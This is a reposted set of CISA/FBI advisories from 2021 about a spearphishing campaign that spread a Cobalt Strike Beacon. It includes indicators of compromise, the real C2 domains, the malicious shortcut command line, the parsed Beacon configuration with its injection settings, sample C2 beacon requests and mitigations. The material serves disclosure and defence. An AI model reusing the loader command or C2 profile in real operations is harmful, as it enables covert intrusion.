by Scott Muniz | May 28, 2021 | Security, Technology
This article is contributed. See the original author and article here.
The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) are responding to a spearphishing campaign targeting government organizations, intergovernmental organizations (IGOs), and non-governmental organizations (NGOs). A sophisticated cyber threat actor leveraged a compromised end-user account from Constant Contact, a legitimate email marketing software company, to spoof a U.S.-based government organization and distribute links to malicious URLs.[1] Note: CISA and FBI acknowledge open-source reporting attributing the activity discussed in the report to APT29 (also known as Nobelium, The Dukes, and Cozy Bear).[2,3] However, CISA and FBI are investigating this activity and have not attributed it to any threat actor at this time. CISA and FBI will update this Joint Cybersecurity Advisory as new information becomes available.
This Joint Cybersecurity Advisory contains information on tactics, techniques, and procedures (TTPs) and malware associated with this campaign. For more information on the malware, refer to Malware Analysis Report MAR-10339794-1.v1: Cobalt Strike Beacon.
CISA and FBI urge governmental and international affairs organizations and individuals associated with such organizations to immediately adopt a heightened state of awareness and implement the recommendations in the Mitigations section of this advisory.
For a downloadable list of indicators of compromise (IOCs), refer to AA21-148A.stix, and MAR-10339794-1.v1.stix.
Based on incident reports, malware collection, and trusted third-party reporting, CISA and FBI are responding to a sophisticated spearphishing campaign. A cyber threat actor leveraged a compromised end-user account from Constant Contact, a legitimate email marketing software company, to send phishing emails to more than 7,000 accounts across approximately 350 government organizations, IGOs, and NGOs. The threat actor sent spoofed emails that appeared to originate from a U.S. Government organization. The emails contained a legitimate Constant Contact link that redirected to a malicious URL [T1566.002, T1204.001], from which a malicious ISO file was dropped onto the victim’s machine.
The ISO file contained (1) a malicious Dynamic Link Library (DLL) named Documents.dll [T1055.001], which is a custom Cobalt Strike Beacon version 4 implant, (2) a malicious shortcut file that executes the Cobalt Strike Beacon loader [T1105], and (3) a benign decoy PDF titled “Foreign Threats to the 2020 US Federal Elections” with file name “ICA-declass.pdf” (see figure 1). Note: The decoy file appears to be a copy of the declassified Intelligence Community Assessment pursuant to Executive Order 13848 Section 1(a), which is available at https://www.intelligence.gov/index.php/ic-on-the-record-database/results/1046-foreign-threats-to-the-2020-us-federal-elections-intelligence-community-assessment.
Figure 1: Decoy PDF: ICA-declass.pdf
Cobalt Strike is a commercial penetration testing tool used to conduct red team operations.[4] It contains a number of tools that complement the cyber threat actor’s exploitation efforts, such as a keystroke logger, file injection capability, and network services scanners. The Cobalt Strike Beacon is the malicious implant that calls back to attacker-controlled infrastructure and checks for additional commands to execute on the compromised system [TA0011].
The configuration file for this Cobalt Strike Beacon implant contained communications protocols, an implant watermark, and the following hardcoded command and control (C2) domains:
dataplane.theyardservice[.]com/jquery-3.3.1.min.woff2cdn.theyardservice[.]com/jquery-3.3.1.min.woff2static.theyardservice[.]com/jquery-3.3.1.min.woff2worldhomeoutlet[.]com/jquery-3.3.1.min.woff2
The configuration file was encoded via an XOR with the key 0x2e and a 16-bit byte swap.
For more information on the ISO file and Cobalt Strike Beacon implant, including IOCs, refer to Malware Analysis Report MAR-10339794-1.v1: Cobalt Strike Beacon.
INDICATORS OF COMPROMISE
The following IOCS were derived from trusted third parties and open-source research. For a downloadable list of IOCs, refer to AA21-148A.stix and MAR-10339794-1.v1.stix.
URL: https[:]//r20.rs6.net/tn.jsp?f=
Host IP: 208.75.122[.]11 (US)
Owner: Constant Contact, Inc.
Activity: legitimate Constant Contact link found in phishing email that redirects victims to actor-controlled infrastructure at https[:]//usaid.theyardservice.com/d/<target_email_address>
● URL: https[:]//usaid.theyardservice.com/d/<target_email_address>
Host IP: 83.171.237[.]173 (Germany)
Owner: [redacted]
First Seen: May 25, 2021
Activity: actor-controlled URL that was redirected from https[:]//r20.rs6.net/tn.jsp?f=; the domain usaid[.]theyardservice.com was detected as a malware site; hosted a malicious ISO file “usaid[.]theyardservice.com”
● File: ICA-declass.iso [MD5: cbc1dc536cd6f4fb9648e229e5d23361]
File Type: Macintosh Disk Image
Detection: Artemis!7EDF943ED251, Trojan:Win32/Cobaltstrike!MSR, or other malware
Activity: ISO file container; contains a custom Cobalt Strike Beacon loader; communicated with multiple URLs, domains, and IP addresses
● File: /d/ [MD5: ebe2f8df39b4a94fb408580a728d351f]
File Type: Macintosh Disk Image
Detection: Cobalt, Artemis!7EDF943ED251, or other malware
Activity: ISO file container; contains a custom Cobalt Strike Beacon loader; communicated with multiple URLs, domains, and IP addresses
● File: ICA-declass.iso [MD5: 29e2ef8ef5c6ff95e98bff095e63dc05]
File Type: Macintosh Disk Image
Detection: Cobalt Strike, Rozena, or other malware
Activity: ISO file container; contains a custom Cobalt Strike Beacon loader; communicated with multiple URLs, domains, and IP addresses
● File: Reports.lnk [MD5: dcfd60883c73c3d92fceb6ac910d5b80]
File Type: LNK (Windows shortcut)
Detection: Worm: Win32-Script.Save.df8efe7a, Static AI – Suspicious LNK, or other malware
Activity: shortcut contained in malicious ISO files; executes a custom Cobalt Strike Beacon loader
● File: ICA-declass.pdf [MD5: b40b30329489d342b2aa5ef8309ad388]
File Type: PDF
Detection: undetected
Activity: benign, password-protected PDF displayed to victim as a decoy; currently unrecognized by antivirus software
● File: DOCUMENT.DLL [MD5: 7edf943ed251fa480c5ca5abb2446c75]
File Type: Win32 DLL
Detection: Trojan: Win32/Cobaltstrike!MSR, Rozena, or other malware
Activity: custom Cobalt Strike Beacon loader contained in malicious ISO files; communicating with multiple URLs, domains, and IP addresses by antivirus software
● File: DOCUMENT.DLL [MD5: 1c3b8ae594cb4ce24c2680b47cebf808]
File Type: Win32 DLL
Detection: Cobalt Strike, Razy, Khalesi, or other malware
Activity: Custom Cobalt Strike Beacon loader contained in malicious ISO files; communicating with multiple URLs, domains, and IP addresses by antivirus software
● Domain: usaid[.]theyardservice.com
Host IP: 83.171.237[.]173 (Germany)
First Seen: May 25, 2021
Owner: Withheld for Privacy Purposes
Activity: subdomain used to distribute ISO file according to the trusted third party; detected as a malware site by antivirus programs
● Domain: worldhomeoutlet.com
Host IP: 192.99.221[.]77 (Canada)
Created Date: March 11, 2020
Owner: Withheld for Privacy Purposes by Registrar
Activity: Cobalt Strike C2 subdomain according to the trusted third party; categorized as suspicious and observed communicating with multiple malicious files according to antivirus software; associated with Cobalt Strike malware
● Domain: dataplane.theyardservice[.]com
Host IP: 83.171.237[.]173 (Germany)
First Seen: May 25, 2021
Owner: [redacted]
Activity: Cobalt Strike C2 subdomain according to the trusted third party; categorized as suspicious and observed communicating with multiple malicious files according to antivirus software; observed in phishing, malware, and spam activity
● Domain: cdn.theyardservice[.]com
Host IP: 83.171.237[.]173 (Germany)
First Seen: May 25, 2021
Owner: Withheld for Privacy Purposes by Registrar
Activity: Cobalt Strike C2 subdomain according to the trusted third party; categorized as suspicious and observed communicating with multiple malicious files according to antivirus software
● Domain: static.theyardservice[.]com
Host IP: 83.171.237[.]173 (Germany)
First Seen: May 25, 2021
Owner: Withheld for Privacy Purposes
Activity: Cobalt Strike C2 subdomain according to the trusted third party; categorized as suspicious and observed communicating with multiple malicious files according to antivirus software
● IP: 192.99.221[.]77
Organization: OVH SAS
Resolutions: 7
Geolocation: Canada
Activity: detected as a malware site; hosts a suspicious domain worldhomeoutlet[.]com; observed in Cobalt Strike activity
● IP: 83.171.237[.]173
Organization: Droptop GmbH
Resolutions: 15
Geolocation: Germany
Activity: Categorized as malicious by antivirus software; hosted multiple suspicious domains and multiple malicious files were observed downloaded from this IP address; observed in Cobalt Strike and activity
● Domain: theyardservice[.]com
Host IP: 83.171.237[.]173 (Germany)
Created Date: January 27, 2010
Owner: Withheld for Privacy Purposes
Activity: Threat actor controlled domain according to the trusted third party; categorized as suspicious by antivirus software; observed in Cobalt Strike activity
CISA and FBI urge CI owners and operators to apply the following mitigations.
● Implement multi-factor authentication (MFA) for every account. While privileged accounts and remote access systems are critical, it is aslo important to ensure full coverage across SaaS solutions. Enabling MFA for corporate communications platforms (as with all other accounts) provides vital defense against these types of attacks and, in many cases, can prevent them.
● Keep all software up to date. The most effective cybersecurity programs quickly update all of their software as soon as patches are available. If your organization is unable to update all software shortly after a patch is released, prioritize implementing patches for CVEs that are already known to be exploited.
● Implement endpoint and detection response (EDR) tools. EDR allows a high degree of visibility into the security status of endpoints and is can be an effective tool against threat actors.
○ Note: Organizations using Microsoft Defender for Endpoint or Microsoft 365 Defense should refer to Microsoft: Use attack surface reduction rules to prevent malware infection for more information on hardening the enterprise attack surface.
● Implement centralized log management for host monitoring. A centralized logging application allows technicians to look out for anomalous activity in the network environment, such as new applications running on hosts, out-of-place communication between devices, or unaccountable login failures on machines. It also aids in troubleshooting applications or equipment in the event of a fault. CISA and the FBI recommend that organizations:
○ Forward logs from local hosts to a centralized log management server—often referred to as a security information and event management (SIEM) tool
○ Ensure logs are searchable. The ability to search, analyze, and visualize communications will help analysts diagnose issues and may lead to detection of anomalous activity.
○ Correlate logs from both network and host security devices. By reviewing logs from multiple sources, an organization can better triage an individual event and determine its impact to the organization as a whole.
○ Review both centralized and local log management policies to maximize efficiency and retain historical data. Organizations should retain critical logs for a minimum of 30 days.
● Deploy signatures to detect and/or block inbound connection from Cobalt Strike servers and other post-exploitation tools.
● Implement unauthorized execution prevention by disabling macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.
● Configure and maintain user and administrative accounts using a strong account management policy.
○ Use administrative accounts on dedicated administration workstations.
○ Limit access to and use of administrative accounts.
○ Use strong passwords. For more information on strong passwords, refer to CISA Tip: Choosing and Protecting Passwords and National Institute of Standards (NIST) SP 800-63: Digital Identity Guidelines: Authentication and Lifecycle Management.
○ Remove default accounts if unneeded. Change the password of default accounts that are needed.
○ Disable all unused accounts.
● Implement a user training program and simulated attacks for spearphishing to discourage users from visiting malicious websites or opening malicious attachments and re-enforce the appropriate user responses to spearphishing emails.
RESOURCES
by Scott Muniz | May 28, 2021 | Security, Technology
This article is contributed. See the original author and article here.
CISA and the Federal Bureau of Investigation (FBI) are responding to an ongoing spearphishing campaign targeting government organizations, intergovernmental organizations, and non-governmental organizations. A sophisticated cyber threat actor leveraged a compromised end-user account from Constant Contact—a legitimate email marketing software company—to spoof a U.S. government organization and distribute links to malicious URLs.
In response, CISA and FBI have released Joint Cybersecurity Advisory AA21-148A: Sophisticated Spearphishing Campaign Targets Government Organizations, IGOs, and NGOs and Malware Analysis Report MAR-10339794-1.v1, providing tactics, techniques, and procedures (TTPs); downloadable indicators of compromise (IOCs); and recommended mitigations.
CISA strongly encourages organizations to review AA21-148A and MAR-10339794-1.v1 and apply the necessary mitigations.
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![MAR 10339794-1.v1 – Cobalt Strike Beacon]()
by Scott Muniz | May 28, 2021 | Security, Technology
This article is contributed. See the original author and article here.
Notification
This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.
This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.
Summary
Description
This Malware Analysis Report (MAR) is the result of analytic efforts by the Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) to provide detailed analysis of three malicious ISO (optical disc image) files submitted to CISA. These malicious files are associated with a spearphishing campaign targeting government organizations, intergovernmental organizations, and non-governmental organizations using Constant Contact to spoof a U.S. Government organization and distribute links to malicious URLs.
Two of the ISO files submitted to CISA contain a dynamic-link library that is a custom Cobalt Strike Beacon loader, a Portable Document Format (PDF) file, which is displayed to the target as a decoy document, and a Microsoft shortcut that executes the Cobalt Strike beacon. The remaining file is corrupt and fails to extract PDF and LNK files. The two Cobalt Strike Beacon loaders contain the same encoded configuration data. The Cobalt Strike Beacon is a malicious implant on a compromised system that calls back to the attacker and checks for additional commands to execute on the compromised system.
CISA and FBI are distributing this MAR, which includes tactics, techniques, and procedures associated with this activity, to enable network defense and reduce exposure to this malicious activity. For more information, refer to the CISA Alert AA21-148A Sophisticated Actor Spearphishing Campaign Targets Government Organizations, IGOs, and NGOs.
For a downloadable copy of IOCs, see: MAR-10339794-1.v1.stix.
Submitted Files (7)
2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252 (ICA-declass.iso)
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 (Reports.lnk)
7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673 (ICA-declass.pdf)
94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916 (ICA-declass.iso)
d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142 (ICA-declass.iso)
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 (Documents.dll)
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c (Documents.dll)
Domains (2)
theyardservice.com
worldhomeoutlet.com
Findings
2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252
Tags
dropper
Details
| Name |
ICA-declass.iso |
| Size |
22085632 bytes |
| Type |
UDF filesystem data (version 1.5) ‘ICA_DECLASS’ |
| MD5 |
cbc1dc536cd6f4fb9648e229e5d23361 |
| SHA1 |
c1d5443f6f57f89bef76eb9e7c070f911954553b |
| SHA256 |
2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252 |
| SHA512 |
5141f30a24ebbf180a9707de6fad8e730a28fa3396d3f06c0bda60c93f73fea8ad867446065ed170c326f26e0b69034b2ac2fd272ec3c59b82727a9795386a2d |
| ssdeep |
393216:fkU+ZCNKp+nzmrrascT2vZw/ORavIZ8D8wd1gAqL5v078owIgPtW9+6KPz0wr0Q1:M4DnzsGGsvIZi8AZqLNSqj6cz0K7q0t |
| Entropy |
7.701745 |
Antivirus
No matches found.
YARA Rules
No matches found.
ssdeep Matches
No matches found.
Relationships
| 2523f94bd4… |
Contains |
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c |
| 2523f94bd4… |
Contains |
7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673 |
| 2523f94bd4… |
Contains |
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 |
Description
This is an ISO archive file that contains three files including a malicious DLL library named “Documents.dll”(ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c). This DLL has been identified as a custom Cobalt Strike Beacon Version 4 implant. The second file is a malicious shortcut file named “Reports.lnk” (48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0) that executes the custom Cobalt Strike Beacon loader. The third file, “ICA-declass.pdf”, is a benign decoy PDF (7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673).
7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673
Details
| Name |
ICA-declass.pdf |
| Size |
19782503 bytes |
| Type |
PDF document, version 1.4 (password protected) |
| MD5 |
b40b30329489d342b2aa5ef8309ad388 |
| SHA1 |
738c20a2cc825ae51b2a2f786248f850c8bab6f5 |
| SHA256 |
7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673 |
| SHA512 |
99319a4af803d4f5f03822ba287f8f26f771d7caad3159df5b84bc8eec67e1b638ad84f04895259876f4e8360970fecafc1bd0c9e5607d13d91404c7bac889c4 |
| ssdeep |
393216:IkU+ZCNKp+nzmrrascT2vZw/ORavIZ8D8wd1gAqL5v078owIgPtW9+6KPz0wr0QO:d4DnzsGGsvIZi8AZqLNSqj6cz0K7q0tM |
| Entropy |
7.998144 |
Antivirus
No matches found.
YARA Rules
No matches found.
ssdeep Matches
No matches found.
PDF Metadata
| Title |
None |
| Subject |
None |
| Author |
None |
| Creator |
Hewlett-Packard MFP |
| Producer |
None |
| Creation Date |
2021-03-16 12:56:18-04:00 |
| Mod Data |
2021-03-16 12:56:18-04:00 |
PDF String Count
| Header |
%PDF-1.4 |
| obj |
52 |
| endobj |
51 |
| stream |
32 |
| endstream |
32 |
| xref |
2 |
| trailer |
2 |
| startxref |
2 |
| /Page |
15 |
| /Encrypt |
0 |
| /ObjStm |
0 |
| /JS |
1 |
| /JavaScript |
0 |
| /AA |
0 |
| /OpenAction |
0 |
| /AcroForm |
0 |
| /JBIG2Decode |
3 |
| /RichMedia |
0 |
| /Launch |
0 |
| /EmbeddedFile |
0 |
| /XFA |
0 |
| /Colors > 2^24 |
0 |
Relationships
| 7d34f25ad8… |
Contained_Within |
2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252 |
| 7d34f25ad8… |
Contained_Within |
94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916 |
Description
ICA-declass.pdf is a benign PDF decoy file contained within the ISO archive. This appears to be a copy of the declassified version of the Intelligence Community Assessment pursuant to Executive Order 13848 Section (1)(a), which is available at https://www.intelligence.gov/index.php/ic-on-the-record-database/results/1046-foreign-threats-to-the-2020-us-federal-elections-intelligence-community-assessment.
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0
Details
| Name |
Reports.lnk |
| Size |
1486 bytes |
| Type |
MS Windows shortcut, Item id list present, Has command line arguments, Icon number=4, ctime=Wed Dec 31 23:59:59 1969, mtime=Wed Dec 31 23:59:59 1969, atime=Wed Dec 31 23:59:59 1969, length=0, window=hide |
| MD5 |
dcfd60883c73c3d92fceb6ac910d5b80 |
| SHA1 |
1cb1c2cd9f59d4e83eb3c950473a772406ec6f1a |
| SHA256 |
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 |
| SHA512 |
d725d0005d8a013c750598d3f2039737f6dfd33a579915e7a1723f386cf2e38b7c490b1ad85a493b02519263ff0a29ed8a40ea902667b40a2e4f0c79d3e4678b |
| ssdeep |
12:8hXnm/3BVSXzM3WlllbdDvPywMYTvPCDiN33Y98SWi88:8c/BCllhdDv6wdvKaHYWi |
| Entropy |
2.093090 |
Antivirus
No matches found.
YARA Rules
No matches found.
ssdeep Matches
No matches found.
Relationships
| 48b5fb3fa3… |
Contained_Within |
2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252 |
| 48b5fb3fa3… |
Contained_Within |
94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916 |
| 48b5fb3fa3… |
Related_To |
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c |
| 48b5fb3fa3… |
Related_To |
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 |
Description
Report.lnk is a Microsoft shortcut (LNK) file. The file was contained within the ISO archive. The file “Report.lnk” displays a folder icon labeled “Reports” on the compromised system. The file contains the following data:
–Begin malicious shortcut data–
runll32.exe Documents.dll,Open%windir%/system32/shell32.dll
–End malicious shortcut data–
When executed, the shortcut will stealthily launch the Cobalt Strike implant named “Documents.dll” (ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c or ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330).
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c
Tags
trojan
Details
| Name |
Documents.dll |
| Size |
1737728 bytes |
| Type |
PE32+ executable (DLL) (GUI) x86-64, for MS Windows |
| MD5 |
7edf943ed251fa480c5ca5abb2446c75 |
| SHA1 |
1380d7c44efde64f471ae70563372efe18f43026 |
| SHA256 |
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c |
| SHA512 |
9c84e4184798bdd06a4f6128242f2e7d2b8840cbf0639cd917c023bd22de3b7c2d98d072608106a94875a9655bcf1117fb3f1d0a2557cfda9b1b911f092c990c |
| ssdeep |
6144:T22r1g93MFP1WWgs+oht05tnCCRem/V9FkkKdKb+/++9GIyRv9QTaq+D/aYndvKF:T2+g9KzkoEtVcKb+/+EzD+7aJ |
| Entropy |
2.144987 |
Antivirus
| BitDefender |
Trojan.GenericKD.46360875 |
| ESET |
a variant of Win64/Rozena.KA trojan |
| Emsisoft |
Trojan.GenericKD.46360875 (B) |
| Ikarus |
Trojan.Win64.Rozena |
YARA Rules
No matches found.
ssdeep Matches
No matches found.
PE Metadata
| Compile Date |
2019-04-27 14:27:02-04:00 |
| Import Hash |
042c6b16f932b7d83d864033b4c9bf27 |
PE Sections
| MD5 |
Name |
Raw Size |
Entropy |
| 2737834f2ef34dc429a7ca5634454d08 |
header |
1024 |
3.007590 |
| 5d32cb386f61f62b4265c621e52b5870 |
.text |
81408 |
6.449170 |
| 023bcf34752191bd249f2abfac339cf6 |
.rdata |
55808 |
5.044293 |
| 2a7d1951ddc821aded735b43b63ddd51 |
.data |
1592320 |
1.640778 |
| 251fe4f11cc161fd4290e61e146e9d2f |
.pdata |
4608 |
5.024657 |
| f34220b14577ddd51cd0bce45da457d8 |
.rsrc |
512 |
4.711413 |
| b84914ab6f20a711de871aa00d835f5d |
.reloc |
2048 |
4.894250 |
Relationships
| ee44c0692f… |
Contained_Within |
2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252 |
| ee44c0692f… |
Contained_Within |
d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142 |
| ee44c0692f… |
Related_To |
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 |
| ee44c0692f… |
Connected_To |
theyardservice.com |
| ee44c0692f… |
Connected_To |
worldhomeoutlet.com |
Description
This file is a 64-bit DLL file identified as a custom Cobalt Strike Beacon Version 4 implant. The DLL was contained within the ISO archive file “ICA-declass.iso” (2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252). The encoded configuration data for the implant is illustrated in Figure 1. The configuration file contains the hard-coded C2s, communication protocol, and an implant watermark. The configuration file is encoded via an XOR with the key 0x2e and a 16-bit byte swap. The parsed configuration file for the Cobalt Beacon implant is displayed below:
–Begin configuration data–
BeaconType – Not Found
Port – 187
SleepTime – Not Found
MaxGetSize – Not Found
Jitter – Not Found
MaxDNS – Not Found
PublicKey_MD5 – Not Found
C2Server – dataplane.theyardservice[.]com,/jquery-3.3.1.min.woff2,cdn.theyardservice[.]com,/jquery-3.3.1.min.woff2,static.theyardservice[.]com,/jquery-3.3.1.min.woff2,worldhomeoutlet[.]com,/jquery-3.3.1.min.woff2
UserAgent – Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
HttpPostUri – /jquery-3.3.2.min.woff2
Malleable_C2_Instructions – Remove 1522 bytes from the end
Remove 84 bytes from the beginning
Remove 3931 bytes from the beginning
Base64 URL-safe decode
XOR mask w/ random key
HttpGet_Metadata – Metadata
mask
base64url
prepend “_cfuid=”
header “Cookie”
HttpPost_Metadata – SessionId
mask
base64url
parameter “_cfuid”
Output
mask
base64url
print
PipeName – Not Found
DNS_Idle – Not Found
DNS_Sleep – Not Found
SSH_Host – Not Found
SSH_Port – Not Found
SSH_Username – Not Found
SSH_Password_Plaintext – Not Found
SSH_Password_Pubkey – Not Found
SSH_Banner –
HttpGet_Verb – GET
HttpPost_Verb – POST
HttpPostChunk – 0
Spawnto_x86 – %windir%syswow64dllhost.exe
Spawnto_x64 – %windir%sysnativedllhost.exe
CryptoScheme – 0
Proxy_Config – Not Found
Proxy_User – Not Found
Proxy_Password – Not Found
Proxy_Behavior – Use IE settings
Watermark – 1359593325
bStageCleanup – True
bCFGCaution – False
KillDate – 0
bProcInject_StartRWX – False
bProcInject_UseRWX – False
bProcInject_MinAllocSize – 0
ProcInject_PrependAppend_x86 – b’x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90′
Empty
ProcInject_PrependAppend_x64 – b’x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90′
Empty
ProcInject_Execute – ntdll:RtlUserThreadStart
CreateThread
NtQueueApcThread-s
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod – NtMapViewOfSection
bUsesCookies – True
HostHeader –
headersToRemove – Not Found
DNS_Beaconing – Not Found
DNS_get_TypeA – Not Found
DNS_get_TypeAAAA – Not Found
DNS_get_TypeTXT – Not Found
DNS_put_metadata – Not Found
DNS_put_output – Not Found
DNS_resolver – Not Found
DNS_strategy – Not Found
DNS_strategy_rotate_seconds – Not Found
DNS_strategy_fail_x – Not Found
DNS_strategy_fail_seconds – Not Found
–End configuration data–
The hard-coded C2s include the following:
–Begin C2s–
dataplane.theyardservice[.]com/jquery-3.3.1.min.woff2
cdn.theyardservice[.]com/jquery-3.3.1.min.woff2
static.theyardservice[.]com/jquery-3.3.1.min.woff2
worldhomeoutlet[.]com/jquery-3.3.1.min.woff2
–End C2s–
Screenshots
Figure 1 – Encoded configuration data for the Cobalt Strike Beacon.
theyardservice.com
Tags
command-and-control
URLs
- cdn.theyardservice.com/jquery-3.3.1.min.woff2
- dataplane.theyardservice.com/jquery-3.3.1.min.woff2
- static.theyardservice.com/jquery-3.3.1.min.woff2
HTTP Sessions
- GET /jquery-3.3.1.min.woff2 HTTP/1.1
Accept: */*
Cookie: _cfuid=CyjkRTGjxcCHL55z9nLYj6lHHepbtmpw9qe0iAb1dHIDbpULhTse_mJUxk3c5-JpXlZu21ZsnBcxzblX_Ab6hesCQ13I5bwHN1f_IimQWV9ErSSRQ088efe2m_IykB8KQoilJAKqjx89lORFW8kHTRNLfEKqk8gOZKdAHkMLvQO9dQtR
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Host: cdn.theyardservice[.]com
Connection: Keep-Alive
Cache-Control: no-cache
- GET /jquery-3.3.1.min.woff2 HTTP/1.1
Accept: */*
Cookie: _cfuid=MF5n5QrVRmC8WR3TzQRbL5IxnkpgwOnQzdE3KD2D99I4GBarvk2dXlkiRe3nkWHJZSDte20aH7cKuzr3x3B5JdB0wP3zkz-nDCF8ghLm2v9_26cxeDm_2czAGFIJ5pyqef4mhDncDL8G4mflYL-E7Sg9_-KR5UuuX9HDvnh9PqOGA4jx
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Host: static.theyardservice[.]com
Connection: Keep-Alive
Cache-Control: no-cache
- GET /jquery-3.3.1.min.woff2 HTTP/1.1
Accept: */*
Cookie: _cfuid=bvKtwVR5jETi9df3k6iRC8ydVG4-bCP0k339DGMvPfZmtNyP4OFXegeOj8m5PavtO4wnXzO21ZNUF_DTmdyzAY7YCtmtP_WDUo22pkxKENshd20VJpV1_ZJs0nZXSlaOJ1LsoGdwxptYTq3BPhNOyXaRNcbPSYGKAX0JmibR9IfYr0LV
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Host: dataplane.theyardservice[.]com
Connection: Keep-Alive
Cache-Control: no-cache
Whois
Domain name: theyardservice.com
Registry Domain ID: 1583241583_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com
Updated Date: 2021-03-31T13:16:35.65Z
Creation Date: 2010-01-27T02:26:05.00Z
Registrar Registration Expiration Date: 2023-01-27T02:26:05.00Z
Registrar: NAMECHEAP INC
Registrar IANA ID: 1068
Registrar Abuse Contact Email: abuse@namecheap.com
Registrar Abuse Contact Phone: +1.6613102107
Reseller: NAMECHEAP INC
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Withheld for Privacy Purposes
Registrant Organization: Privacy service provided by Withheld for Privacy ehf
Registrant Street: Kalkofnsvegur 2
Registrant City: Reykjavik
Registrant State/Province: Capital Region
Registrant Postal Code: 101
Registrant Country: IS
Registrant Phone: +354.4212434
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: 2c839fd1b7284a55b8204adbf86e09f6.protect@withheldforprivacy.com
Registry Admin ID:
Admin Name: Withheld for Privacy Purposes
Admin Organization: Privacy service provided by Withheld for Privacy ehf
Admin Street: Kalkofnsvegur 2
Admin City: Reykjavik
Admin State/Province: Capital Region
Admin Postal Code: 101
Admin Country: IS
Admin Phone: +354.4212434
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: 2c839fd1b7284a55b8204adbf86e09f6.protect@withheldforprivacy.com
Registry Tech ID:
Tech Name: Withheld for Privacy Purposes
Tech Organization: Privacy service provided by Withheld for Privacy ehf
Tech Street: Kalkofnsvegur 2
Tech City: Reykjavik
Tech State/Province: Capital Region
Tech Postal Code: 101
Tech Country: IS
Tech Phone: +354.4212434
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: 2c839fd1b7284a55b8204adbf86e09f6.protect@withheldforprivacy.com
Name Server: dns1.registrar-servers.com
Name Server: dns2.registrar-servers.com
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
Relationships
| theyardservice.com |
Connected_From |
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c |
| theyardservice.com |
Connected_From |
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 |
Description
